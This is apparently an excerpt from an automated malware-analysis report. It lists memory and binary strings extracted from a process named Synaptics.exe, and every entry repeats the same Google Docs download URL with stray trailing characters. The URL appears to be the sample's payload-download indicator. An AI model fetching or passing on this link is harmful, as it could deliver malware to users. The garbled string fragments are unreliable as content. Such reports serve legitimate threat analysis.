Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_l
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_n
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1770138974.000000000543D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada/
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada1
Source: Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada8
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadac
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadad
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadads
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadah
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadam
Source: Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadancis
Source: Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadany
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadapY.
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadat
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb
Source: Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb9
Source: Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbdn.
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbiMX
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbp
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2531561375.000000001CEF1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc-
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc.
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc6=
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc=
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadceB
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcell6
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelle
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn.com
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcnn
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcoTJF
Source: Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcroso
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcs
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcs.dl
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadctingsw
Source: Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd.moo
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd?
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddT
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddfO_:
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade-
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade3
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadec
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadectin_w
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeflig
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadelle
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadelleme
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadem
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloademe
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenet
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetl
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetle
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyo
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadepM3fY:Y
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloader
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaders
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloades).
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadesolv
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetle
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetlen
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetz
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadev
Source: Synaptics.exe, 00000002.00000002.2434252916.00000000005DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2535106563.000000001CFC6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf~
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2528045833.000000001CE63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg
Source: Synaptics.exe, 00000002.00000002.2452727101.00000000070A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg-
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgjN
Source: Synaptics.exe, 00000002.00000002.2452727101.0000000007073000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgk
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgo
Source: Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgoog
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgoogl
Source: Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgoogl1
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgp
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgq
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgs
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgsB
Source: Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgstat
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh-
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh3
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhM:
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhostn
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhts-cn.net
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi-
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi2
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi?
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadic
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadified
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadigH
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadin
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadit
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadits
Source: Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadity
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiw
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor.
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor..
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor..z&
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor.L
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiz0J
Source: Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2535106563.000000001CFC6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjh
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjo
